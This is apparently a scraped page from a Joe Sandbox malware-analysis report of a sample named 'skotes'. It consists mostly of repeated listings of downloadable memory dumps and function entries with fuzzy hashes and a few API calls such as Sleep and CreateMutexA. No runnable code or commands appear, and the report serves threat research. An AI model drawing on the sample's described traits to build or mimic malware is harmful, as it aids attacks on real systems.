Associated: 00000002.00000002.2103265497.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103301754.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103337410.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103374428.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103408727.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103445257.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103478466.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103516124.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103555052.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103600087.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103636260.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103636260.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103717031.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103757812.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103828198.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103883432.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103910291.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103937872.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103961841.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: 07a3e4c3d799ba3c57b9a5e301a63e3d6695d4210e950539bfe0dd218c5bbeb0
Instruction ID: 1f275e217c21054ae7370a47bd6c71a5e850f5f16fb979c2492f260afe979ffa
Opcode Fuzzy Hash: 07a3e4c3d799ba3c57b9a5e301a63e3d6695d4210e950539bfe0dd218c5bbeb0
Instruction Fuzzy Hash: 093137B1B041088BEB08DBB8DD8977DBB62BFC5314F248618E5089B3D6C77989808717

Function 005FA682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000002.00000002.2101089794.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000002.00000002.2100233294.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101089794.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101793461.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102025633.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102080827.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102136834.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102167955.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102419007.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102459095.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102517123.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102549911.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102589254.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102589254.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102664627.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102703467.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102741354.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102781521.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102809913.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102844333.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102888131.0000000000811000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102915584.0000000000812000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102941782.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102973184.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103000687.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103036073.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103078475.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103114545.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103151378.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103186572.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103226219.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103265497.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103301754.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103337410.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103374428.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103408727.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103445257.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103478466.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103516124.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103555052.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103600087.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103636260.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103636260.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103717031.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103757812.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103828198.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103883432.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103910291.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103937872.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103961841.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: 61f74da49b0c9fbfb46dd37a331e5016d4a128e3d48083c38f7104a76d0d3f9a
Instruction ID: e14c641e4ad3a4da1d2c387b7a1c0f67a6b15793e81923407d8bc5cd5289c1c3
Opcode Fuzzy Hash: 61f74da49b0c9fbfb46dd37a331e5016d4a128e3d48083c38f7104a76d0d3f9a
Instruction Fuzzy Hash: BF3137B17152088BEB08EB78DD89B7EBB72EF81310F248618E118DB3D6C77949808753

Function 005F9ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000002.00000002.2101089794.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000002.00000002.2100233294.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101089794.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101793461.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102025633.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102080827.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102136834.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102167955.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102419007.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102459095.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102517123.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102549911.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102589254.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102589254.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102664627.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102703467.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102741354.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102781521.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102809913.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102844333.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102888131.0000000000811000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102915584.0000000000812000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102941782.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102973184.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103000687.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103036073.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103078475.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103114545.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103151378.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103186572.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103226219.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103265497.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103301754.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103337410.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103374428.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103408727.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103445257.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103478466.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103516124.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103555052.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103600087.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103636260.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103636260.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103717031.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103757812.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103828198.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103883432.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103910291.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103937872.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103961841.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: 6afe658836182da81f8308b49b5c1867344f8a9ad86e09b3d11b4aa4a796ddb2
Instruction ID: 4358ab53f7521f5fa1c7cba56aeb16600bb8e8fe518d3ae5d8344a3734b4a0b1
Opcode Fuzzy Hash: 6afe658836182da81f8308b49b5c1867344f8a9ad86e09b3d11b4aa4a796ddb2
Instruction Fuzzy Hash: DE213A717586049BEB189F68EDC977DBB66FFC1310F204629E508873D5C7BA5A808712

Function 005FA856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000002.00000002.2101089794.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000002.00000002.2100233294.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101089794.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101793461.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102025633.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102080827.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102136834.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102167955.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102419007.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102459095.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102517123.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102549911.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102589254.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102589254.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102664627.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102703467.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102741354.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102781521.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102809913.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102844333.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102888131.0000000000811000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102915584.0000000000812000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102941782.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102973184.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103000687.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103036073.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103078475.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103114545.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103151378.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103186572.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103226219.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103265497.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103301754.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103337410.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103374428.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103408727.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103445257.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103478466.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103516124.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103555052.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103600087.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103636260.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103636260.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103717031.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103757812.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103828198.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103883432.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103910291.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103937872.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103961841.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: 74cbafa4ff8b6333f18eb9e8f0f9cbe615b3e3a4f5d2c817a3faa74b6fbec805
Instruction ID: e31aec4eb08a0d595d84062e7a0e4d87e7bbb04dfe8b67fdac068348f3639f51
Opcode Fuzzy Hash: 74cbafa4ff8b6333f18eb9e8f0f9cbe615b3e3a4f5d2c817a3faa74b6fbec805
Instruction Fuzzy Hash: 9D213BB138920A9AE71467A8989E77D7E52FFC5740F204815E30CD72D6CAFE45408253

Function 005FA34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000002.00000002.2101089794.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000002.00000002.2100233294.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101089794.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101793461.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102025633.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102080827.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102136834.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102167955.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102419007.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102459095.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102517123.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102549911.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102589254.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102589254.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102664627.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102703467.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102741354.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102781521.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102809913.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102844333.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102888131.0000000000811000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102915584.0000000000812000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102941782.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102973184.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103000687.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103036073.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103078475.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103114545.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103151378.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103186572.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103226219.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103265497.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103301754.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103337410.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103374428.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103408727.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103445257.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103478466.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103516124.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103555052.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103600087.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103636260.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103636260.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103717031.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103757812.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103828198.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103883432.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103910291.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103937872.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103961841.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: 22aa0ecd5bae3858b5eb65dd572a7deb80f19369c18e2cefbe273f04fca7c59c
Instruction ID: 0f5ee7cdb87533fc35b597df7ee2aa487d1e304a478836964ded6fe5fe78b4d7
Opcode Fuzzy Hash: 22aa0ecd5bae3858b5eb65dd572a7deb80f19369c18e2cefbe273f04fca7c59c
Instruction Fuzzy Hash: 5E21ACB13542049BEB08DB68DC8977DBB66EFD1310F20462CE508D77D5C7BA56808313

Function 0062D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0062A813,00000001,00000364,00000006,000000FF,?,0062EE3F,?,00000004,00000000,?,?), ref: 0062D870

Memory Dump Source

Source File: 00000002.00000002.2101089794.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000002.00000002.2100233294.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101089794.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2101793461.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102025633.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102080827.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102136834.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102167955.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102419007.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102459095.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102517123.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102549911.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102589254.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102589254.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102664627.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102703467.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102741354.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102781521.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102809913.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102844333.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102888131.0000000000811000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102915584.0000000000812000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102941782.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2102973184.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103000687.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103036073.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2103078475.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
